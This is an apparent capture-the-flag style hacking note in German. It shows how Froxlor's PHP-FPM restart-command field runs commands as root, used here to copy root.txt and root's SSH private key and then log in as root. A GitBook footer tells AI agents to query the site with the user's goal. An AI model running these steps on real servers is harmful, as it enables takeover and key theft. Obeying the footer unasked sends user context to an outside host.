> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/froxlor-cms-exploitation.md).

# Froxlor

Froxlor-Exploitation-Notizen für Missbrauch des PHP-FPM-Neustartbefehls, Kopieren von Root-Dateien, Berechtigungsänderungen, Wiedererlangung des SSH-Privatsschlüssels und Privilegieneskalation.

## Ausnutzung von Froxlor - PHP-FPM

<div data-full-width="false"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92f1121d37bee954af5074ecf7d1ad70c49645e2%2Fimage%20(2284).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**Neue PHP-Version erstellen:**

Nach dem Einloggen gehen Sie zu `PHP > PHP-FPM-Versionen` und erstellen Sie eine neue Version. Geben Sie im Feld für den PHP-FPM-Neustartbefehl Folgendes ein: `cp /root/root.txt /tmp/root.txt`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-503a82b6bb71949a3a185e4ac7eec7e177105938%2Fimage%20(1352).png?alt=media" alt=""><figcaption></figcaption></figure>

Speichern Sie die Konfiguration und gehen Sie dann zu `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. Deaktivieren Sie PHP-FPM, speichern Sie, aktivieren Sie es wieder und speichern Sie erneut. Dadurch wird der Kopierbefehl ausgelöst.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-090a4c059ddb05f5ce59af4c29064b5b3d126c16%2Fimage%20(1350).png?alt=media" alt=""><figcaption></figcaption></figure>

Die Datei wurde nun kopiert; passen Sie als Nächstes die Berechtigungen an:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-510f43bbff56cee83d7ea472650d3e272b9cd103%2Fimage%20(1353).png?alt=media" alt=""><figcaption></figcaption></figure>

Wiederholen Sie denselben Vorgang und ersetzen Sie den Befehl durch:

```bash
chmod 644 /tmp/root.txt
```

### Root-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e300ed7f41cab5407b3dfde54932cb0ab298aa7%2Fimage%20(1356).png?alt=media" alt=""><figcaption></figcaption></figure>

Um sich als root zu verbinden, kopieren Sie den SSH-Schlüssel von root `id_rsa` und wiederholen Sie den Vorgang, um die Berechtigungen zu korrigieren:

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7efe9a4c996c58b02d1b1cf6f6fbaa50dfa70df9%2Fimage%20(1357).png?alt=media" alt=""><figcaption></figcaption></figure>

Dann verbinden Sie sich per SSH mit dem Schlüssel:

```bash
ssh -i id_rsa root@localhost
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/cms/froxlor-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
